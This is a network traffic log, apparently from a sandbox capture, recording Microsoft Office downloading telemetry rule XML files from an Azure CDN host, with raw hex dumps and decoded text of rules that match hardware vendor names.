encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191300Z-1866b5c5fbbldb6rhC1DFW4bew00000003e0000000009f3g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 7bc21d90-a01e-0084-2eb2-379ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191300Z-164f84587bfsqsthhC1DFWh630000000028g00000000k28z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191300Z-16547b76f7fzwxm2hC1DFWt5hw00000000ug000000008zec x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1749ec84-b01e-0001-2ec6-3746e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191300Z-1866b5c5fbb7lvschC1DFW4rm0000000037g000000009p83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191300Z-16547b76f7fgfpmjhC1DFWw6ec00000002h000000000ttgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191301Z-16547b76f7fmbrhqhC1DFWkds80000000q0g00000000mqze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:01 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 41a7f78c-b01e-0097-2b78-354f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191301Z-164f84587bf28gjzhC1DFW35kg000000032g00000000k6tk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191301Z-16547b76f7fl5zvnhC1DFWtk9g00000001p000000000a179 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191301Z-16547b76f7fr5rfnhC1DFW0am400000000tg00000000037d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191301Z-16547b76f7fht2hfhC1DFWbngg00000003kg00000000dyfc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-16547b76f7fffb7lhC1DFWdsxg00000003c000000000e2sg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 2028dee8-601e-0097-4b81-37f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-16547b76f7ftnm6xhC1DFW9c8c00000002sg00000000h5qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
